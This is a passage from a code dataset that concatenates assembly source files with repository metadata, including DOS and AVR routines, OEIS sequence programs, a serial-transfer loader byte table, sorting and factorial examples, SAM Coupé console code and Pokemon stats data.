00 49 00 49 00 00 00 00 00 00 00 49 */
37.893491
2,999
0.657558
17c6ffbadb8c6723d830cb02c905ccd0f40e3ab2
1,448
asm
Assembly
C/LoDosLib/getvxdep.asm
p-k-p/SysToolsLib
827be2799e541410cb5c11358cd4ce6859e171ad
[ "Apache-2.0" ]
232
2016-04-27T21:56:11.000Z
2022-03-29T09:02:15.000Z
C/LoDosLib/getvxdep.asm
p-k-p/SysToolsLib
827be2799e541410cb5c11358cd4ce6859e171ad
[ "Apache-2.0" ]
31
2016-05-09T09:05:36.000Z
2022-03-29T19:17:45.000Z
C/LoDosLib/getvxdep.asm
p-k-p/SysToolsLib
827be2799e541410cb5c11358cd4ce6859e171ad
[ "Apache-2.0" ]
94
2016-06-01T18:10:39.000Z
2022-03-26T10:44:57.000Z
page , 132 ;*****************************************************************************; ; ; ; FileName: GetVxdEP.asm ; ; ; ; Contents: Get a VxD V86 entry point ; ; ; ; Notes: ; ; ; ; History: ; ; 1995/11/10 JFL Created this file ; ; ; ; (c) Copyright 1995-2017 Hewlett Packard Enterprise Development LP ; ; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ; ;*****************************************************************************; INCLUDE ADEFINE.INC .CODE ;===FUNCTION HEADER===========================================================; ; ; ; NAME: GetVxdEntryPoint ; ; ; ; DESCRIPTION: Get a VxD V86 entry point ; ; ; ; PARAMETERS: ; ; ; ; ON ENTRY: AX = VxD ID ; ; ; ; ON EXIT: DX:AX far pointer to the entry point. ; ; ; ; REGS ALTERED: AX, BX, ES ; ; ; ;=============================================================================; CFASTPROC GetVxdEntryPoint push di xor di, di mov es, di ; ES:DI = NULL on entry mov bx, ax ; Device ID mov ax, 1684H ; Function number int 2Fh ; Get protected mode API address mov ax, di mov dx, es pop di ret ENDCFASTPROC GetVxdEntryPoint END
26.327273
79
0.381906
0cc26b9d3a4a84daa028dd3ad933a97c20de43c7
185
asm
Assembly
recipes/libelfin/all/test_package/hello.asm
rockandsalt/conan-center-index
d739adcec3e4dd4c250eff559ceb738e420673dd
[ "MIT" ]
562
2019-09-04T12:23:43.000Z
2022-03-29T16:41:43.000Z
recipes/libelfin/all/test_package/hello.asm
rockandsalt/conan-center-index
d739adcec3e4dd4c250eff559ceb738e420673dd
[ "MIT" ]
9,799
2019-09-04T12:02:11.000Z
2022-03-31T23:55:45.000Z
recipes/libelfin/all/test_package/hello.asm
rockandsalt/conan-center-index
d739adcec3e4dd4c250eff559ceb738e420673dd
[ "MIT" ]
1,126
2019-09-04T11:57:46.000Z
2022-03-31T16:43:38.000Z
SECTION .data msg: db "Hi World",10 len: equ $-msg SECTION .text global main main: mov edx,len mov ecx,msg mov ebx,1 mov eax,4 int 0x80 mov ebx,0 mov eax,1 int 0x80
10.882353
21
0.643243
6f5c992b419328ca74a5e4eb4b360c26899d8b30
1,448
asm
Assembly
AVR/queue.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/queue.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/queue.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
;-------------------------------------; ; FIFO FOR ATMEL328 ; ; ; ; Por: Prof. Carlo Requiao ; ; 22/Sep/2020 ; ;-------------------------------------; .device ATmega328 ;-------------------------------------; ; MEMORY SEGMENTS ; ;-------------------------------------; .dseg mem: .byte 0x02 .cseg .org 0x00 ; Program starts at 0x00 rjmp INICIO ;-------------------------------------; ; MACROS ; ;-------------------------------------; .macro initstack ldi R16,low(RAMEND) out spl,R16 ldi R16,high(RAMEND) out sph,R16 .endmacro .macro initqueue ldi R16,low(RAMEND) sts mem,R16 ldi R16,high(RAMEND) sts mem+1,R16 .endmacro .macro enqueue push @0 .endmacro .macro dequeue lds R1,mem mov Xl,R1 lds R2,mem+1 mov Xh,R2 ld @0,X dec R1 sts mem,R1 .endmacro ;-------------------------------------; ; DEFINITIONS ; ;-------------------------------------; .def geral1=R18 .def geral2=R19 ;-------------------------------------; ; CODE ; ;-------------------------------------; INICIO: initstack initqueue ldi geral1, 0x04 ldi geral2, 0x05 enqueue geral1 enqueue geral2 clr geral1 clr geral2 dequeue geral1 dequeue geral2 LOOP: jmp LOOP
17.876543
39
0.372238
261b8a3cca367cb61fba2b52e7c10e31f6d98774
504
asm
Assembly
oeis/029/A029635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/029/A029635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/029/A029635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A029635: The (1,2)-Pascal triangle (or Lucas triangle) read by rows. ; Submitted by Christian Krause ; 2,1,2,1,3,2,1,4,5,2,1,5,9,7,2,1,6,14,16,9,2,1,7,20,30,25,11,2,1,8,27,50,55,36,13,2,1,9,35,77,105,91,49,15,2,1,10,44,112,182,196,140,64,17,2,1,11,54,156,294,378,336,204,81,19,2,1,12,65,210,450,672,714,540,285,100,21,2,1,13,77,275,660,1122,1386,1254,825,385,121,23,2,1,14,90,352,935,1782,2508,2640,2079 lpb $0 add $2,$1 add $1,1 sub $0,$1 bin $2,$0 lpe bin $1,$0 mul $1,2 sub $1,$2 mov $0,$1
33.6
302
0.644841
a535281fe2960d8b330e3f87e0b609f460d4be8a
742
asm
Assembly
oeis/041/A041623.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/041/A041623.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/041/A041623.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A041623: Denominators of continued fraction convergents to sqrt(330). ; Submitted by Jamie Morken(s1.) ; 1,6,217,1308,47305,285138,10312273,62158776,2248028209,13550328030,490059837289,2953909351764,106830796500793,643938688356522,23288623577335585,140375680152370032,5076813109062656737,30601254334528310454,1106721969152081833081,6670933069247019308940,241260312462044776954921,1454232807841515681038466,52593641394756609294339697,317016081176381171447076648,11465172563744478781389099025,69108051463643253859781670798,2499355025254901617733529247753,15065238202993052960260957157316 add $0,1 mov $3,1 lpb $0 sub $0,1 dif $2,4 add $2,$3 mov $3,$1 mov $1,$2 dif $2,6 mul $2,24 add $3,$2 mul $2,2 lpe mov $0,$2 div $0,48
37.1
482
0.820755
c2f06afd46a19c686cb04925f31446c96f5d04b5
362
asm
Assembly
oeis/218/A218930.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/218/A218930.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/218/A218930.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A218930: Number of maximal supersolvable conjugacy classes of subgroups of the symmetric group. ; 1,1,1,1,2,3,4,5,6,8,11,14,19,23 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$0 sub $2,1 mul $2,$3 add $1,$2 mov $4,$3 cmp $4,0 mov $5,$3 add $5,$4 div $1,$5 div $1,4 div $2,$5 sub $3,1 max $3,1 lpe mul $1,$0 div $1,$2 add $1,1 mov $0,$1
13.923077
97
0.569061
308d0f582d022e34729d44cb3a7254f03ab84340
391
asm
Assembly
oeis/185/A185175.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/185/A185175.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/185/A185175.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A185175: a(n) = A010815(7*n + 5). ; Submitted by Christian Krause ; 1,-1,0,1,0,-1,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,1,0,0,0,0,0,-1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mul $0,7 add $0,5 seq $0,10815 ; From Euler's Pentagonal Theorem: coefficient of q^n in Product_{m>=1} (1 - q^m).
48.875
207
0.565217
4b9e1b45768e819ef5327f7d5be330cf421a4f52
4,404
asm
Assembly
c6ers/interlnk/fxlib/loader.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
c6ers/interlnk/fxlib/loader.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
c6ers/interlnk/fxlib/loader.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;* Loader sent in upload. ;* Generated by running "make" in load subdirectory. INCLUDE model.inc .CODE text PUBLIC C loader_start PUBLIC C loader_end PUBLIC C loader_bios_port loader_start LABEL BYTE DB 0fcH,0b8H,000H,033H,0cdH,021H,052H,0b8H,001H,033H,0b2H,000H,0cdH,021H,0e8H,007H DB 000H,0b8H,001H,033H,05aH,0cdH,021H,0c3H,055H,08bH,0ecH,081H,0ecH,0bcH,020H,0c7H DB 046H,0feH,0ffH,0ffH,0e8H,0dfH,002H,0e8H,03dH,001H,0b8H,003H,000H,0e8H,047H,002H DB 08dH,09eH,044H,0dfH,0b8H,0b9H,020H,0e8H,095H,001H,00bH,0c0H,074H,0f2H,080H,0beH DB 044H,0dfH,001H,075H,010H,08dH,09eH,0eeH,0dfH,08dH,046H,0feH,0e8H,095H,002H,00bH DB 0c0H,074H,04aH,0ebH,060H,080H,0beH,044H,0dfH,002H,075H,014H,08bH,046H,0feH,08dH DB 09eH,0fdH,0dfH,08bH,096H,0fbH,0dfH,0e8H,05fH,002H,03bH,086H,0fbH,0dfH,0ebH,0e1H DB 080H,0beH,044H,0dfH,003H,075H,01fH,08bH,046H,0feH,08bH,096H,0e8H,0dfH,08bH,09eH DB 0e6H,0dfH,0e8H,070H,002H,08bH,046H,0feH,0e8H,04eH,002H,00bH,0c0H,075H,026H,0c7H DB 046H,0feH,0ffH,0ffH,0ebH,007H,080H,0beH,044H,0dfH,004H,074H,009H,08dH,09eH,045H DB 0dfH,0e8H,0aaH,000H,0ebH,08aH,083H,07eH,0feH,000H,07cH,010H,08dH,09eH,0eeH,0dfH DB 0e8H,04cH,002H,0ebH,007H,08dH,09eH,095H,0dfH,0e8H,092H,000H,0b8H,030H,000H,0e8H DB 0b5H,001H,08bH,0e5H,05dH,0c3H,066H,078H,062H,02eH,063H,06fH,06dH,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,050H,0b0H,020H,0e6H,020H DB 02eH,0ffH,006H,0d0H,001H,02eH,0ffH,00eH,0d2H,001H,058H,0cfH,050H,053H,052H,006H DB 033H,0c0H,0a3H,0d0H,001H,0c7H,006H,0d2H,001H,012H,000H,0e4H,021H,0a2H,0d4H,001H DB 0b0H,0feH,0e6H,021H,0b8H,008H,035H,0cdH,021H,089H,01eH,0d7H,001H,08cH,006H,0d9H DB 001H,0baH,0dbH,001H,0b8H,008H,025H,0cdH,021H,007H,05aH,05bH,058H,0c3H,050H,01eH DB 0c5H,016H,0d7H,001H,0b8H,008H,025H,0cdH,021H,01fH,0a0H,0d4H,001H,0e6H,021H,08bH DB 00eH,0d0H,001H,0e3H,008H,0faH,09cH,0ffH,01eH,0d7H,001H,0e2H,0f9H,0fbH,058H,0c3H DB 050H,053H,055H,0bbH,007H,000H,0b4H,00eH,0cdH,010H,05dH,05bH,058H,0c3H,08aH,007H DB 043H,00aH,0c0H,074H,011H,03cH,00aH,075H,008H,0b0H,00cH,040H,0e8H,0e1H,0ffH,0b0H DB 00aH,0e8H,0dcH,0ffH,0ebH,0e8H,0c3H,057H,0bfH,010H,004H,033H,0d2H,01eH,007H,0b1H DB 004H,08bH,0c2H,08bH,0d8H,0d3H,0ebH,033H,0c3H,08aH,0f8H,032H,0dbH,0d3H,0e3H,033H DB 0c3H,08aH,0d8H,032H,0ffH,0feH,0c1H,0d3H,0e3H,033H,0c3H,0abH,042H,00aH,0f6H,074H DB 0deH,05fH,0c3H,0ecH,0a8H,020H,074H,0fbH,080H,0eaH,005H,08aH,0c4H,0eeH,080H,0c2H DB 005H,0c3H,053H,0ecH,0d0H,0e8H,072H,00cH,083H,03eH,0d2H,001H,000H,07dH,0f4H,0b8H DB 0ffH,0ffH,0ebH,017H,080H,0eaH,005H,0ecH,080H,0c2H,005H,032H,0e4H,086H,0e9H,032H DB 0c8H,033H,0dbH,086H,0d9H,0d1H,0e3H,033H,08fH,010H,004H,05bH,00bH,0c0H,0c3H,055H DB 051H,057H,056H,006H,01eH,007H,08bH,0fbH,08bH,0e8H,08bH,016H,0ceH,001H,080H,0c2H DB 005H,0c7H,006H,0d2H,001H,012H,000H,0e8H,0b8H,0ffH,078H,0f5H,08aH,0d8H,024H,003H DB 038H,006H,0d5H,001H,075H,0ebH,0e8H,0f3H,0feH,08aH,0e3H,088H,026H,0d6H,001H,0f6H DB 0d4H,080H,0e4H,0fbH,0e8H,08cH,0ffH,0b9H,0ffH,0ffH,0e8H,095H,0ffH,078H,050H,032H DB 0e4H,0f6H,0c3H,080H,08bH,0d8H,075H,007H,0e8H,087H,0ffH,078H,042H,08aH,0f8H,00bH DB 0dbH,074H,047H,03bH,0ddH,077H,043H,08bH,0ebH,08bH,0f3H,0e8H,074H,0ffH,078H,02fH DB 0aaH,0c7H,006H,0d2H,001H,012H,000H,04eH,075H,0f1H,0e8H,065H,0ffH,078H,020H,0e8H DB 060H,0ffH,078H,01bH,081H,0f9H,00fH,01dH,075H,020H,08aH,026H,0d6H,001H,0e8H,042H DB 0ffH,0feH,006H,0d5H,001H,080H,026H,0d5H,001H,003H,08bH,0c5H,0ebH,003H,090H,033H DB 0c0H,0e8H,0baH,0feH,007H,05eH,05fH,059H,05dH,0c3H,0c7H,006H,0d2H,001H,012H,000H DB 0e8H,02fH,0ffH,079H,0f5H,0ebH,0e8H,056H,08bH,0c8H,033H,0c0H,08eH,0c0H,08bH,01eH DB 00eH,004H,003H,0dbH,026H,08bH,097H,000H,004H,089H,016H,0ceH,001H,0bbH,003H,000H DB 08bH,0f2H,080H,0c2H,005H,0ecH,024H,060H,03cH,060H,075H,0f9H,04aH,032H,0c0H,0eeH DB 0ebH,000H,04aH,0b0H,080H,0eeH,0ebH,000H,08bH,0d6H,042H,032H,0c0H,0eeH,0ebH,000H DB 08aH,0c1H,04aH,0eeH,0ebH,000H,083H,0c2H,003H,08aH,0c3H,024H,01fH,0eeH,0ebH,000H DB 04aH,04aH,032H,0c0H,0eeH,0ebH,000H,05eH,0c3H,08bH,0caH,08bH,0d3H,08bH,0d8H,0b4H DB 040H,0cdH,021H,072H,001H,0c3H,033H,0c0H,0c3H,08bH,0d8H,0b4H,03eH,0cdH,021H,072H DB 002H,033H,0c0H,0c3H,08bH,0d3H,050H,033H,0c9H,0b4H,03cH,0cdH,021H,05bH,072H,004H DB 089H,007H,033H,0c0H,0c3H,08bH,0cbH,08bH,0d8H,0b8H,001H,057H,0cdH,021H,0c3H,08bH DB 0d3H,0b4H,041H,0cdH,021H,0c3H,0baH,0c6H,001H,0b4H,041H,0cdH,021H,0c3H loader_bios_port DW 0ddddH loader_end LABEL BYTE END
62.914286
82
0.779519
d69182133b58441c17c33187eeb282cabb252e3a
1,339
asm
Assembly
src/factorial.asm
earaujoassis/machos-assembly
eafd98e68c957bb51b0c8c546d3ec4b52bfe44a6
[ "MIT" ]
1
2021-11-06T02:31:06.000Z
2021-11-06T02:31:06.000Z
src/factorial.asm
earaujoassis/machos-assembly
eafd98e68c957bb51b0c8c546d3ec4b52bfe44a6
[ "MIT" ]
null
null
null
src/factorial.asm
earaujoassis/machos-assembly
eafd98e68c957bb51b0c8c546d3ec4b52bfe44a6
[ "MIT" ]
null
null
null
global _main default rel section .text factorial_entry: cmp rdi, 1 ; Check if n <= 1 and store ate `rdi` jnbe factorial_recursive ; If not, perform a recursive call mov rax, 1 ; Return 1, stored at `rax` ret factorial_recursive: push rdi ; Push `n` on stack dec rdi ; `n-1` call factorial_entry ; `f(n-1)`, stored in `rax` pop rdi ; Pop `n` from stack imul rax, rdi ; `n * f(n-1)`, stored in `rax` ret _main: mov rdi, 100 ; Factorial of 10 call factorial_entry ; Make the call mov [value], rax mov rax, 0x02000004 ; SYS_write setup (SYS_write at 4 bits offset from 0x02000000) mov rdi, 1 ; SYS_write use STDOUT mov rsi, value ; SYS_write argument mov rdx, 3 ; SYS_write argument size (bytes) syscall ; perform SYS_write mov rax, 0x02000001 ; SYS_exit setup (SYS_write at 1 bit offset from 0x02000000) xor rdi, rdi ; SYS_exit argument (return zero) syscall ; perform SYS_exit section .data value: db 0x00, 0x0A
36.189189
97
0.500373
b5764cf67a8d8c4b661b97ede477e5e4a76de2bb
1,860
asm
Assembly
Test-files/bubblesort.asm
anchittandon/Implementation-of-a-5-stage-RISC-processor
a4a907cadf854ba70229e78ec64cf1f5502faf43
[ "MIT" ]
1
2019-12-14T21:21:57.000Z
2019-12-14T21:21:57.000Z
Test-files/bubblesort.asm
anchittandon/Implementation-of-a-5-stage-RISC-processor
a4a907cadf854ba70229e78ec64cf1f5502faf43
[ "MIT" ]
null
null
null
Test-files/bubblesort.asm
anchittandon/Implementation-of-a-5-stage-RISC-processor
a4a907cadf854ba70229e78ec64cf1f5502faf43
[ "MIT" ]
null
null
null
.main: mov r0, 0 @0000 mov r1, 12 @ replace 12 with the number to be sorted st r1, 0[r0] mov r1, 7 @ replace 7 with the number to be sorted st r1, 4[r0] mov r1, 11 @ replace 11 with the number to be sorted st r1, 8[r0] mov r1, 9 @ replace 9 with the number to be sorted st r1, 12[r0] mov r1, 3 @ replace 3 with the number to be sorted st r1, 16[r0] mov r1, 15 @ replace 15 with the number to be sorted st r1, 20[r0] mov r2, 0 @ Starting address of the array mov r3, 6 @ REPLACE 6 WITH N, where, N is the number of numbers being sorted call .bubblesort .terminate: b .terminate @0010 .bubblesort: mov r4, r3 @ store the number of elements to be sorted in one iteration in r4 (which ititially is equal to the number of elements) .traverse: ld r5, 0[r2] @0012 ld r6, 4[r2] @0013 cmp r5, r6 @0014 bgt .exchange @0015 b .next @0016 .exchange: st r6, 0[r2] st r5, 4[r2] .next: add r2, r2, 4 @ move to the (i+1)th and (i+2)th elements by just incrementing the base address sub r4, r4, 1 @ decreaese r4 since now less comparision has to be made cmp r4, 1 @ keep traversing till all comparision in that iterations are completed bgt .traverse mov r2, r0 @ again intialise r2 to the base address for next iteration sub r3, r3, 1 @ this iteration has 1 less element to sort to decrease r3 mov r4, r3 @ store this in r4(which contains the number of elements to be sorted) and continue cmp r3, 1 @ keep sorting till all the elements are sorted bgt .traverse ret
45.365854
139
0.565054
d36fa19d4ff91323334b0643ab5911e515e87dce
470
asm
Assembly
oeis/184/A184012.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/184/A184012.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/184/A184012.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A184012: n + floor(sqrt(5n-4)); complement of A184013. ; 2,4,6,8,9,11,12,14,15,16,18,19,20,22,23,24,26,27,28,29,31,32,33,34,36,37,38,39,40,42,43,44,45,46,48,49,50,51,52,54,55,56,57,58,59,61,62,63,64,65,66,68,69,70,71,72,73,74,76,77,78,79,80,81,82,84,85,86,87,88,89,90,92,93,94,95,96,97,98,99,101,102,103,104,105,106,107,108,110,111,112,113,114,115,116,117,118,120,121,122 mov $2,$0 mul $2,10 add $2,3 lpb $2 add $0,1 add $2,$3 sub $3,2 add $2,$3 lpe add $0,1
33.571429
316
0.642553
62ecbb80cdf4be0d99bfd4ad36b241f8b34f8bde
732
asm
Assembly
data/pokemon/base_stats/tauros.asm
Karkino/KarkCrystal16
945dde0354016f9357e9d3798312cc6efa52ff7a
[ "blessing" ]
null
null
null
data/pokemon/base_stats/tauros.asm
Karkino/KarkCrystal16
945dde0354016f9357e9d3798312cc6efa52ff7a
[ "blessing" ]
null
null
null
data/pokemon/base_stats/tauros.asm
Karkino/KarkCrystal16
945dde0354016f9357e9d3798312cc6efa52ff7a
[ "blessing" ]
null
null
null
db 0 ; species ID placeholder db 75, 100, 95, 110, 40, 70 ; hp atk def spd sat sdf db NORMAL, NORMAL ; type db 45 ; catch rate db 211 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F0 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/tauros/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_SLOW ; growth rate dn EGG_GROUND, EGG_GROUND ; egg groups ; tm/hm learnset tmhm HEADBUTT, CURSE, TOXIC, ZAP_CANNON, ROCK_SMASH, SUNNY_DAY, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, IRON_HEAD, THUNDER, EARTHQUAKE, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, FIRE_BLAST, PURSUIT, REST, ATTRACT, SURF, STRENGTH, FLAMETHROWER, THUNDERBOLT, ICE_BEAM ; end
33.272727
274
0.718579
ab1e6888ac2ef88758ba373af824a86c5fa318e3
684
asm
Assembly
oeis/015/A015188.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/015/A015188.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/015/A015188.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A015188: Sum of (Gaussian) q-binomial coefficients for q=-19. ; Submitted by Christian Krause ; 1,2,-16,688,111136,89882432,-275004084736,4228048101810688,245826835826279382016,71807813126925810352535552,-79325152089697863954203470053376,440258301458598565100624737135157198848,9240608384586184341279607973207159152665788416,974430285342259923366075030547970026643708318919360512,-388595149629336165924336595829743277876708912515606805923495936,778576312040598888959933378686451160952985136348599340775672013552877568 mov $1,$0 mov $0,0 add $1,1 mov $2,1 mov $3,1 lpb $1 sub $1,1 mov $4,$2 mul $2,-18 sub $2,$4 mul $4,$3 add $0,$4 sub $3,$4 add $3,$0 lpe mov $0,$3
32.571429
423
0.80848
723ef6ae76b06800a9dd8210b85a033713e213d5
340
asm
Assembly
programs/oeis/342/A342280.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/342/A342280.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/342/A342280.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A342280: a(n) = A001952(2*n+1). ; 3,10,17,23,30,37,44,51,58,64,71,78,85,92,99,105,112,119,126,133,139,146,153,160,167,174,180,187,194,201,208,215,221,228,235,242,249,256,262,269,276,283,290,297,303,310,317,324,331,338,344,351,358,365,372 mul $0,2 seq $0,187393 ; a(n) = floor(r*n), where r = 4 + sqrt(8); complement of A187394. div $0,2
48.571429
205
0.670588
7b8de60d3c12f8c8e80ecd19794f8f8be2a4e288
1,824
asm
Assembly
libsrc/target/sam/stdio/generic_console_cls.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/sam/stdio/generic_console_cls.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/sam/stdio/generic_console_cls.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
MODULE generic_console_cls SECTION code_driver PUBLIC generic_console_cls EXTERN __zx_screenmode EXTERN __zx_console_attr EXTERN __sam_MODE3_attr EXTERN __sam_MODE4_attr EXTERN __sam_graphics_pagein EXTERN __sam_graphics_pageout EXTERN l_dcal EXTERN SCREEN_BASE generic_console_cls: call __sam_graphics_pagein ld a,(__zx_screenmode) add a add +(cls_table % 256) ld l,a ld a,0 adc +(cls_table / 256) ld h,a ld a,(hl) inc hl ld h,(hl) ld l,a call l_dcal call __sam_graphics_pageout ret cls_MODE1: ld hl,SCREEN_BASE ld de,SCREEN_BASE+1 ld bc,6144 ld (hl),0 ldir ld a,(__zx_console_attr) ld (hl),a ld bc,767 ldir ret cls_MODE2: ld hl,SCREEN_BASE ld de,SCREEN_BASE+1 ld bc,6143 ld (hl),0 ldir ld hl,SCREEN_BASE + 8192 ld de,SCREEN_BASE + 8192 + 1 ld bc,6143 ld a,(__zx_console_attr) ld (hl),a ldir ret cls_MODE4: ld a,(__sam_MODE4_attr+1) ;Paper, in bits 6,7 ld b,a rrca rrca rrca rrca and 15 or b jr clear_block cls_MODE3: ld a,(__sam_MODE3_attr+1) ;Paper, in bits 6,7 ld b,a xor a or b srl a srl a or b ld b,a and a rrca rrca rrca rrca or b clear_block: ld hl,SCREEN_BASE ld de,SCREEN_BASE+1 ld bc,24575 ld (hl),a ldir ret SECTION rodata_driver cls_table: defw cls_MODE1 defw cls_MODE2 defw cls_MODE3 defw cls_MODE4
17.708738
63
0.524123
563fdaaa84348663b3127ce9447191c9afc9e0c2
1,212
asm
Assembly
programs/oeis/076/A076897.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/076/A076897.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/076/A076897.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A076897: a(1)=1, a(n)=n-a(floor(3n/4)). ; 1,1,2,2,3,4,4,4,5,6,7,7,8,8,8,9,10,10,11,12,13,13,13,14,15,15,15,15,16,17,18,18,19,19,20,21,22,23,23,23,24,24,25,25,26,27,27,27,28,28,28,29,30,31,31,32,33,33,34,34,35,35,36,37,38,38,39,40,41,41,41,41,42,43,43,43,44,45,45,46,47,47,48,48,49,49,49,50,51,51,51,51,52,53,54,55,56,56,56,57,58,59,59,59,60,61,61,61,62,63,63,64,65,65,66,67,68,68,68,69,70,71,72,72,73,73,73,73,74,74,75,76,77,77,77,77,78,79,80,80,81,81,82,83,84,84,84,85,86,86,86,87,88,88,88,88,89,90,91,91,92,92,92,92,93,94,94,95,96,97,98,98,99,100,100,100,101,101,102,103,104,105,105,105,106,106,107,107,108,109,109,109,110,110,111,112,113,113,113,114,115,116,116,116,117,118,119,120,121,121,121,121,122,123,123,124,125,126,127,127,128,128,129,129,130,130,130,130,131,132,132,132,133,134,135,135,136,137,137,137,138,138,138,139,140,141,141,142,143,143 mov $5,$0 mov $7,$0 add $7,1 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 sub $0,$7 cal $0,87165 ; a(n)=1 when n == 1 (mod 4), otherwise a(n) = a(n - ceiling(n/4)) + 1. Removing all the 1's results in the original sequence with every term incremented by 1. add $2,$0 mov $4,$2 mod $4,2 add $4,19 mov $1,$4 sub $1,19 add $6,$1 lpe mov $1,$6
55.090909
812
0.646865
3eb49aa7fa1b0871519f5835b072881960c8e4fd
415
asm
Assembly
libsrc/_DEVELOPMENT/target/hbios/driver/terminal/rc_01_output_hbios0/rc_01_output_hbios0_iterm_msg_bs.asm
Frodevan/z88dk
